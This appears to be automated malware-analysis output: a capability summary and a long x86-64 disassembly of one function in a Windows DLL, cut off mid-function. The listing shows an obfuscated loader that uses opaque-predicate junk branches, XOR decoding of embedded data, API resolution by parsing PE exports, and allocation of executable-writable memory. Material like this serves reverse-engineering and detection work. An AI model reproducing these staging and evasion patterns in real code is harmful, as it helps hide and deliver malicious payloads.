Function at 0x1800010f0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x180001122
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001122
nop
jmp 0x180001120
mov eax, 0x10
call entry0
sub rsp, rax
mov r10, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r8, rsp
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
cmp ecx, 0xa
jl 0x180001162
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
je 0x180001162
nop
jmp 0x180001160
lea r9, section..data
cmp ecx, 0xa
jl 0x18000117d
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x1800014a0
mov r11d, 3
mov rax, r10
mov rsi, r9
mov dl, byte [r9]
nop dword [rax]
mov byte [rax], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
cmp ecx, 0xa
jl 0x1800011e4
test edi, edi
je 0x1800011e4
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
cmp ecx, 0xa
jl 0x1800011d9
test edi, edi
je 0x1800011d9
mov byte [rax], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
test edi, edi
je 0x180001210
cmp ecx, 9
jg 0x180001234
jmp 0x180001210
cmp ecx, 0xa
jl 0x1800011f1
test edi, edi
jne 0x1800014a0
add rsi, 1
add rax, 1
sub r11, 1
jb 0x180001238
movzx edx, byte [rsi]
jmp 0x180001190
mov byte [rax], dl
cmp dword [0x180020a78], 0xa
jl 0x180001190
mov ecx, dword [0x180020a74]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
je 0x180001190
mov byte [rax], dl
jmp 0x180001210
cmp dword [0x180020a6c], 0xa
jl 0x1800014e2
mov eax, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x1800014e2
mov eax, 0x10
call entry0
sub rsp, rax
mov r10, rsp
cmp ecx, 0xa
jl 0x18000127e
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x1800014d0
mov eax, 3
mov rdx, r9
mov bl, byte [r9]
jmp 0x180001290
mov bl, byte [rdx]
nop dword [rax]
mov byte [r10], bl
mov edi, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
cmp ecx, 0xa
jl 0x1800012f1
test esi, esi
je 0x1800012f1
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
cmp ecx, 0xa
jl 0x1800012db
test esi, esi
je 0x1800012db
mov byte [r10], bl
mov edi, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
test esi, esi
je 0x180001440
cmp ecx, 9
jg 0x180001465
jmp 0x180001440
cmp ecx, 0xa
jl 0x1800012fe
test esi, esi
jne 0x1800014c0
add rdx, 1
add r10, 1
sub rax, 1
jae 0x18000128b
mov eax, 0x10
call entry0
sub rsp, rax
mov rax, rsp
cmp ecx, 0xa
jl 0x180001334
lea ecx, [rdi - 1]
imul ecx, edi
and ecx, 1
jne 0x1800014e0
mov r8d, 3
mov rdi, r9
mov dl, byte [r9]
mov byte [rax], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
cmp ecx, 0xa
jl 0x180001394
test esi, esi
je 0x180001394
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
cmp ecx, 0xa
jl 0x180001389
test esi, esi
je 0x180001389
mov byte [rax], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
test esi, esi
je 0x1800013c0
cmp ecx, 9
jg 0x1800013e4
jmp 0x1800013c0
cmp ecx, 0xa
jl 0x1800013a1
test esi, esi
jne 0x1800014b0
add rdi, 1
add rax, 1
sub r8, 1
jb 0x1800013e8
movzx edx, byte [rdi]
jmp 0x180001340
mov byte [rax], dl
cmp dword [0x180020a78], 0xa
jl 0x180001340
mov ecx, dword [0x180020a74]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
je 0x180001340
mov byte [rax], dl
jmp 0x1800013c0
mov eax, 0x10
call entry0
sub rsp, rax
mov r10, rsp
cmp dword [0x180020a6c], 0xa
jl 0x18000146a
mov eax, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x18000146a
mov eax, 3
mov rdx, r9
cmp ecx, 0xa
jl 0x18000128b
lea ecx, [rbx - 1]
imul ecx, ebx
mov rdx, r9
and ecx, 1
je 0x18000128b
jmp 0x1800014d0
mov byte [r10], bl
cmp dword [0x180020a78], 0xa
jl 0x180001290
mov ecx, dword [0x180020a74]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
je 0x180001290
mov byte [r10], bl
jmp 0x180001440
mov eax, 0x10
call entry0
sub rsp, rax
mov r8, rsp
cmp ecx, 0xa
jl 0x180001169
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
je 0x180001169
jmp 0x180001160
jmp 0x1800014a0
jmp 0x1800014b0
jmp 0x1800014c0
jmp 0x1800014d0
jmp 0x1800014e0
mov r14d, dword [r10]
test r14, r14
je 0x180001601
xor edi, edi
cmp r14d, 0x10
jb 0x1800015d5
lea rdx, [r14 - 1]
cmp rdx, 0x400
jae 0x1800015d5
mov edi, r14d
and edi, 0xfffffff0
lea rax, [rdi - 0x10]
mov rdx, rax
shr rdx, 4
add rdx, 1
mov r9d, edx
and r9d, 1
test rax, rax
je 0x18000159b
mov rax, r9
sub rax, rdx
xor esi, esi
lea r10, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov edx, esi
and edx, 0x3e0
movups xmm1, xmmword [rdx + r10 + 4]
movups xmm2, xmmword [rsi + r10 + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rsi + r10 + 0x414]
xorps xmm2, xmm0
movups xmmword [rsi + r10 + 0x404], xmm2
lea edx, [rsi + 0x10]
and edx, 0x3f0
movups xmm2, xmmword [rdx + r10 + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rsi + r10 + 0x414], xmm1
add rsi, 0x20
add rax, 2
jne 0x180001542
jmp 0x18000159d
xor esi, esi
test r9, r9
je 0x1800015d0
mov edx, esi
and edx, 0x3f0
lea rax, section..data
movups xmm0, xmmword [rdx + rax + 4]
movups xmm1, xmmword [rsi + rax + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rsi + rax + 0x404], xmm1
cmp rdi, r14
je 0x180001601
lea rdx, section..data
mov eax, edi
and eax, 0x3ff
movzx eax, byte [rax + rdx + 4]
xor al, byte [rdi + rdx + 0x404]
xor al, 0xc
mov byte [rdi + rdx + 0x404], al
add rdi, 1
cmp rdi, r14
jb 0x1800015dc
lea rax, section..data
lea r10, [r14 + rax]
add r10, 0x404
cmp ecx, 0xa
jl 0x180001627
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x1800019c0
cmp ecx, 0xa
jl 0x18000163b
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x1800019d0
mov r9d, 3
mov rax, r8
mov rdx, r10
mov cl, byte [r10]
nop word [rax + rax]
mov byte [rax], cl
mov esi, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
cmp ebx, 0xa
jl 0x1800016a4
test edi, edi
je 0x1800016a4
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
cmp ebx, 0xa
jl 0x180001699
test edi, edi
je 0x180001699
mov byte [rax], cl
mov esi, dword [0x180020a74]
mov ebx, dword [0x180020a78]
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
test edi, edi
je 0x1800016d0
cmp ebx, 9
jg 0x1800016f4
jmp 0x1800016d0
cmp ebx, 0xa
jl 0x1800016b1
test edi, edi
jne 0x1800019d0
add rdx, 1
add rax, 1
sub r9, 1
jb 0x1800016f8
movzx ecx, byte [rdx]
jmp 0x180001650
mov byte [rax], cl
cmp dword [0x180020a78], 0xa
jl 0x180001650
mov ebx, dword [0x180020a74]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x180001650
mov byte [rax], cl
jmp 0x1800016d0
cmp dword [0x180020a6c], 0xa
jl 0x180001a08
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001a08
cmp ebx, 0xa
jl 0x18000172e
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001a02
mov r9d, 3
mov rax, r8
mov rdi, r10
mov dl, byte [r10]
nop dword [rax]
mov byte [rax], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
cmp ecx, 0xa
jl 0x180001794
test esi, esi
je 0x180001794
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
cmp ecx, 0xa
jl 0x180001789
test esi, esi
je 0x180001789
mov byte [rax], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
test esi, esi
je 0x1800017c0
cmp ecx, 9
jg 0x1800017e4
jmp 0x1800017c0
cmp ecx, 0xa
jl 0x1800017a1
test esi, esi
jne 0x1800019e0
add rdi, 1
add rax, 1
sub r9, 1
jb 0x1800017e8
movzx edx, byte [rdi]
jmp 0x180001740
mov byte [rax], dl
cmp dword [0x180020a78], 0xa
jl 0x180001740
mov ecx, dword [0x180020a74]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
je 0x180001740
mov byte [rax], dl
jmp 0x1800017c0
cmp dword [0x180020a6c], 0xa
jl 0x180001806
mov eax, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800018ea
cmp ecx, 0xa
jl 0x18000181a
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180001a04
mov r9d, 3
mov rax, r8
mov rdi, r10
mov dl, byte [r10]
mov byte [rax], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
cmp ecx, 0xa
jl 0x18000187d
test esi, esi
je 0x18000187d
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
cmp ecx, 0xa
jl 0x180001872
test esi, esi
je 0x180001872
mov byte [rax], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
test esi, esi
je 0x1800018a0
cmp ecx, 9
jg 0x1800018c4
jmp 0x1800018a0
cmp ecx, 0xa
jl 0x18000188a
test esi, esi
jne 0x180001a00
add rdi, 1
add rax, 1
sub r9, 1
jb 0x1800018c8
movzx edx, byte [rdi]
jmp 0x180001829
mov byte [rax], dl
cmp dword [0x180020a78], 0xa
jl 0x180001829
mov ecx, dword [0x180020a74]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
je 0x180001829
mov byte [rax], dl
jmp 0x1800018a0
cmp dword [0x180020a6c], 0xa
jl 0x180001613
mov eax, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001613
cmp ecx, 0xa
jl 0x1800018fe
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
jne 0x180001a06
mov r9d, 3
mov rax, r8
mov rdi, r10
mov dl, byte [r10]
mov byte [rax], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
cmp ecx, 0xa
jl 0x180001961
test esi, esi
je 0x180001961
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
cmp ecx, 0xa
jl 0x180001956
test esi, esi
je 0x180001956
mov byte [rax], dl
mov ebx, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
test esi, esi
je 0x180001990
cmp ecx, 9
jg 0x1800019b4
jmp 0x180001990
cmp ecx, 0xa
jl 0x18000196e
test esi, esi
jne 0x1800019f0
add rdi, 1
add rax, 1
sub r9, 1
jb 0x180001806
movzx edx, byte [rdi]
jmp 0x18000190d
mov byte [rax], dl
cmp dword [0x180020a78], 0xa
jl 0x18000190d
mov ecx, dword [0x180020a74]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
je 0x18000190d
mov byte [rax], dl
jmp 0x180001990
jmp 0x1800019c0
jmp 0x1800019d0
jmp 0x1800019e0
jmp 0x1800019f0
jmp 0x180001a00
jmp 0x180001a02
jmp 0x180001a04
jmp 0x180001a06
add r10, 4
mov qword [rbp - 0x10], r10
mov r9d, dword [r8]
test r9, r9
je 0x180001b8d
xor eax, eax
cmp r9d, 0x20
jb 0x180001a77
lea rdx, [r9 - 1]
cmp rdx, 0x400
lea rbx, section..data
jae 0x180001b69
lea rcx, [r14 + rbx]
add rcx, 0x408
lea rdx, [r9 + rbx]
add rdx, 4
cmp rcx, rdx
jae 0x180001a83
lea rcx, [r9 + r14]
lea rax, section..data
add rcx, rax
add rcx, 0x408
lea rdx, str.DPgEkFYYtEwELZMsardBHOzvkpHIUPPbSBLAqPiIltyuuKvBSgqIxjBrrITErXiHwscDyXuhvJmAhsJgMQGZDRkAOTMZTICVMhCoLHiGRxhRDsaaMYuKoFWCJmvJzWLoXFgKcEaGgxWlimRpBbwJnAsQGApCORxdPxZvqEavdsicvjnuCSRLIleYJpgaFgeOSjEyZhtAKOoJobWzxjzIHZVxpiXWvkDJtKSyTtwMOgbegKEaBFjUlQfvaxkMfgXvnUsdmaxjHowHQSBfTHblVKCrDaFVXcPMIVJrRYXFyzwSELiPHMTdkXovzalrlOPPXSgYTPTIFumFOjwntHbRzsnHwaVcipjvFlqDAhQldZtwZLuAIezWJxiOpbwXwjRLwwPsqSXUDllQwEjrTEmoFtkPIUOfIIggtJQZTtcBftAlldYJcGwsathyRSsAyidndlCkiRtUMHOlsCcXwfHfHvRVOdSKrHKeTcwJiwTqUHSRVjnEAmoalBLskdoKORKmsERLpebcdRXEqjdZwHBdswSvcMaELxpLolpAVPsaBEDeauxkDUWMGZPwSxLxeznmfHQsSmAWmiEuStBfZtsiggkayVWskBynBzHcSllRskHGHmZOXvZOQArzthyvsPVBUnwRjJmWlMPvKpbgXksjHVddRkzoSFffOqeDZkYnwmqsmzzqhrRwCKneJwbCrbHLyZteWBrglaufYtPLvqdGUyVmGFsVzipYXxULDatcEmAqYjVDTZCuYUDZXuIzxpmgvLCsyhJSkCyksmtpOfjqbnWZirwcottPLrFrFDXFWXXWkdTDGTCcqDhlATXlyXgPAfiewhWKSptkxPEWGOlLZwBVWrsOAmyncmExrlYLMTeoFJReiPwcJFzDBvFURebCQvGwjuXegSkTbIYAqlVHYXyxIObSpYXqBGTYOutthpHLERWCWoDOUBaFuTJVOAxxgQhxSCSBlhMHFqMJyfMfvzjQwgDSzzTHiLlVHtzlwkEuraeoJjdtzikEMQXYlsE
cmp rcx, rdx
jbe 0x180001a83
xor eax, eax
lea rbx, section..data
jmp 0x180001b69
mov eax, r9d
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x180001b21
lea rcx, section..data
lea rdi, [r14 + rcx]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + rcx + 4]
movups xmm1, xmmword [rdx + rcx + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + rcx + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + rcx + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x180001abe
jmp 0x180001b23
xor esi, esi
test r8, r8
je 0x180001b5d
mov edx, esi
and edx, 0x3e0
lea rcx, section..data
movups xmm0, xmmword [rdx + rcx + 4]
movups xmm1, xmmword [rdx + rcx + 0x14]
mov rcx, qword [rbp - 0x10]
movups xmm2, xmmword [rcx + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [rcx + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [rcx + rsi], xmm2
movups xmmword [rcx + rsi + 0x10], xmm0
cmp rax, r9
lea rbx, section..data
je 0x180001b8d
lea rdx, [r14 + rbx]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + rbx + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x180001b74
cmp dword [0x180020a7c], 0xa
jl 0x180001ba9
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001ba9
jmp 0x180001ba7
add r14, 0x408
movsxd rax, dword [0x180004440]
lea rcx, section..data
add rax, rcx
add rax, 0x404
mov qword [rbp - 8], rax
mov r12, qword [rbp - 0x10]
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001bcf
mov qword [rbp], r12
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001bdf
mov r15, r12
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001bee
mov qword [rbp - 0x28], r15
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001bfc
mov rdi, r15
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001c09
mov r13, rdi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001c15
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002e30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001c52
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002490
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001c81
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002492
add r8, r9
mov esi, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rsi, r9
add r10, r9
mov eax, dword [rsi]
add rax, r9
mov rdx, r12
movzx ecx, byte [rdx]
movzx ebx, byte [rax]
test cl, cl
je 0x180001cb2
add rdx, 1
add rax, 1
cmp cl, bl
je 0x180001c9c
cmp cl, bl
je 0x180001cc0
add rsi, 4
add r10, 2
jmp 0x180001c94
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001cfa
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002494
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001d29
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002496
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
mov rax, r15
movzx ebx, byte [rax]
movzx ecx, byte [rsi]
test bl, bl
je 0x180001d5a
add rax, 1
add rsi, 1
cmp bl, cl
je 0x180001d44
cmp bl, cl
je 0x180001d68
add rdx, 4
add rdi, 2
jmp 0x180001d3c
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.180002e30
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001dcb
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002498
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001dfa
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000249a
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r14 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001e33
add rsi, 1
cmp al, bl
je 0x180001e1b
cmp al, bl
je 0x180001e41
add rdx, 4
add r9, 2
jmp 0x180001e14
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r15, rax
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp ebx, 0xa
jl 0x18000249c
test ecx, ecx
je 0x18000249c
movsxd rax, dword [0x180004440]
mov qword [rbp - 8], rax
cmp dword [0x180020a7c], 0xa
mov r15, qword [rbp - 0x10]
jl 0x180001ec6
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r15, qword [rbp - 0x10]
and ecx, 1
jne 0x180002474
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001ec6
mov qword [rbp], r15
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001ed4
mov r13, r15
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001ee1
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001eec
mov rdi, r13
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001efa
mov r12, rdi
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001f06
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002e30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001f44
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002476
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001f73
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002478
add r8, r9
mov esi, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rsi, r9
add r10, r9
mov eax, dword [rsi]
add rax, r9
mov rdx, r15
movzx ecx, byte [rdx]
movzx ebx, byte [rax]
test cl, cl
je 0x180001fa4
add rdx, 1
add rax, 1
cmp cl, bl
je 0x180001f8e
cmp cl, bl
je 0x180001fb2
add rsi, 4
add r10, 2
jmp 0x180001f86
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001fec
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000247a
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000201b
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000247c
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
mov rbx, r13
movzx eax, byte [rbx]
movzx ecx, byte [rsi]
test al, al
je 0x18000204c
add rbx, 1
add rsi, 1
cmp al, cl
je 0x180002036
cmp al, cl
je 0x18000205a
add rdx, 4
add rdi, 2
jmp 0x18000202e
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r12
mov r8, r12
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.180002e30
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800020bd
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000247e
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800020ec
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002480
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r14 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180002125
add rsi, 1
cmp al, bl
je 0x18000210d
cmp al, bl
je 0x180002133
add rdx, 4
add r9, 2
jmp 0x180002106
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + rcx + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
movsxd rax, dword [0x180004440]
mov qword [rbp - 8], rax
cmp dword [0x180020a7c], 0xa
mov r13, qword [rbp - 0x10]
jl 0x180002193
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r13, qword [rbp - 0x10]
and ecx, 1
jne 0x180002482
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180002193
mov qword [rbp], r13
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800021a2
mov r15, r13
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x1800021b0
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x1800021ba
mov rdi, r15
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800021c7
mov r12, rdi
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x1800021d3
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002e30
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002211
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002484
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002240
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002486
add r8, r9
mov esi, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rsi, r9
add r10, r9
mov eax, dword [rsi]
add rax, r9
mov rdx, r13
movzx ecx, byte [rdx]
movzx ebx, byte [rax]
test cl, cl
je 0x180002271
add rdx, 1
add rax, 1
cmp cl, bl
je 0x18000225b
cmp cl, bl
je 0x18000227f
add rsi, 4
add r10, 2
jmp 0x180002253
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800022b9
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002488
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800022e8
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000248a
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
mov rbx, r15
movzx eax, byte [rbx]
movzx ecx, byte [rsi]
test al, al
je 0x180002319
add rbx, 1
add rsi, 1
cmp al, cl
je 0x180002303
cmp al, cl
je 0x180002327
add rdx, 4
add rdi, 2
jmp 0x1800022fb
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r12
